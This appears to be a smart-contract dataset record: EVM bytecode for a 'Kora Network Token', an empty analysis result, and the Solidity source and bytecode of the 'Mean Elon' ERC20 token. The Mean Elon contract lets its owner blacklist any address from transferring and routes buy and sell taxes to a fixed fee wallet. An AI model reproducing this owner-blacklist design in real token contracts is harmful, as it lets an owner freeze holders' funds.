0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd146102005780632ff2e9dc14610285578063313ce567146102b057806366188463146102e757806370a082311461034c578063715018a6146103a35780638da5cb5b146103ba57806395d89b4114610411578063a9059cbb146104a1578063d73dd62314610506578063dd62ed3e1461056b578063f2fde38b146105e2575b600080fd5b3480156100ec57600080fd5b506100f5610625565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061065e565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea610750565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075a565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610b19565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610b1f565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156102f357600080fd5b50610332600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b24565b604051808215151515815260200191505060405180910390f35b34801561035857600080fd5b5061038d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db5565b6040518082815260200191505060405180910390f35b3480156103af57600080fd5b506103b8610dfe565b005b3480156103c657600080fd5b506103cf610f00565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041d57600080fd5b50610426610f25565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046657808201518184015260208101905061044b565b50505050905090810190601f1680156104935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104ad57600080fd5b506104ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f5e565b604051808215151515815260200191505060405180910390f35b34801561051257600080fd5b50610551600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611182565b604051808215151515815260200191505060405180910390f35b34801561057757600080fd5b506105cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137e565b6040518082815260200191505060405180910390f35b3480156105ee57600080fd5b50610623600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611405565b005b6040805190810160405280601281526020017f4b6f7261204e6574776f726b20546f6b656e000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079757600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107e557600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087057600080fd5b6108c282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60045481565b601081565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c35576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cc9565b610c48838261155a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4b4e54000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f9b57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fe957600080fd5b61103b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061121382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561149c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561156857fe5b818303905092915050565b6000818301905082811015151561158657fe5b809050929150505600a165627a7a723058204ae853fe3eb9ae64c198d3b512fb89b755494031423feb08038ccaa000b93cb30029
|
{"success": true, "error": null, "results": {}}
| 8,984 |
0x054dcdcc5a9e3df4841925dc5de241f651975a8e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
// Webite: https://meanelon.com
// Telegram: https://t.me/meanelon
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEANELON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Mean Elon";
string private constant _symbol = "MEANELON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xbfccd895C0b10B36FC5D53B66076555D4b80150e);
_buyTax = 15;
_sellTax = 15;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611667565b610419565b005b34801561016857600080fd5b5060408051808201909152600981526826b2b0b71022b637b760b91b60208201525b6040516101979190611684565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb3660046116fe565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b50670de0b6b3a76400005b604051908152602001610197565b34801561020157600080fd5b5061015a61021036600461172a565b610481565b34801561022157600080fd5b506101c0610230366004611743565b6104c3565b34801561024157600080fd5b5061015a610250366004611784565b61052c565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610577565b34801561029257600080fd5b506101e76102a1366004611784565b6105ab565b3480156102b257600080fd5b5061015a6105cd565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b5060408051808201909152600881526726a2a0a722a627a760c11b602082015261018a565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c06103443660046116fe565b610853565b34801561035557600080fd5b5061015a6103643660046117b7565b610860565b34801561037557600080fd5b5061015a6108f6565b34801561038a57600080fd5b5061015a610936565b34801561039f57600080fd5b5061015a6103ae36600461172a565b610ade565b3480156103bf57600080fd5b5061015a6103ce36600461172a565b610b16565b3480156103df57600080fd5b506101e76103ee36600461187c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b8152600401610443906118b5565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610b4e565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b8152600401610443906118b5565b66470de51b1cca008111156104c05760108190555b50565b60006104d0848484610c72565b610522843361051d85604051806060016040528060288152602001611a7b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f82565b610b4e565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610443906118b5565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b8152600401610443906118b5565b476104c081610fbc565b6001600160a01b03811660009081526002602052604081205461047b90610ff6565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610443906118b5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610443906118b5565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906118ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf91906118ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906118ea565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610c72565b6000546001600160a01b0316331461088a5760405162461bcd60e51b8152600401610443906118b5565b60005b81518110156108f2576001600660008484815181106108ae576108ae611907565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea81611933565b91505061088d565b5050565b6000546001600160a01b031633146109205760405162461bcd60e51b8152600401610443906118b5565b600061092b306105ab565b90506104c08161107a565b6000546001600160a01b031633146109605760405162461bcd60e51b8152600401610443906118b5565b600e546109809030906001600160a01b0316670de0b6b3a7640000610b4e565b600e546001600160a01b031663f305d719473061099c816105ab565b6000806109b16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3e919061194e565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c0919061197c565b6000546001600160a01b03163314610b085760405162461bcd60e51b8152600401610443906118b5565b600f8110156104c057600b55565b6000546001600160a01b03163314610b405760405162461bcd60e51b8152600401610443906118b5565b600f8110156104c057600c55565b6001600160a01b038316610bb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610dc057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0257506001600160a01b03821660009081526005602052604090205460ff16155b15610f72576000600955600c54600a55600f546001600160a01b038481169116148015610e3d5750600e546001600160a01b03838116911614155b8015610e6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e775750600f54600160b81b900460ff165b15610ea4576000610e87836105ab565b601054909150610e9783836111f4565b1115610ea257600080fd5b505b600f546001600160a01b038381169116148015610ecf5750600e546001600160a01b03848116911614155b8015610ef457506001600160a01b03831660009081526005602052604090205460ff16155b15610f05576000600955600b54600a555b6000610f10306105ab565b600f54909150600160a81b900460ff16158015610f3b5750600f546001600160a01b03858116911614155b8015610f505750600f54600160b01b900460ff165b15610f7057610f5e8161107a565b478015610f6e57610f6e47610fbc565b505b505b610f7d838383611253565b505050565b60008184841115610fa65760405162461bcd60e51b81526004016104439190611684565b506000610fb38486611999565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600060075482111561105d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061106761125e565b90506110738382611281565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c2576110c2611907565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f91906118ea565b8160018151811061115257611152611907565b6001600160a01b039283166020918202929092010152600e546111789130911684610b4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b19085906000908690309042906004016119b0565b600060405180830381600087803b1580156111cb57600080fd5b505af11580156111df573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112018385611a21565b9050838110156110735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b610f7d8383836112c3565b600080600061126b6113ba565b909250905061127a8282611281565b9250505090565b600061107383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fa565b6000806000806000806112d587611428565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113079087611485565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133690866111f4565b6001600160a01b038916600090815260026020526040902055611358816114c7565b6113628483611511565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113d58282611281565b8210156113f157505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361141b5760405162461bcd60e51b81526004016104439190611684565b506000610fb38486611a39565b60008060008060008060008060006114458a600954600a54611535565b925092509250600061145561125e565b905060008060006114688e87878761158a565b919e509c50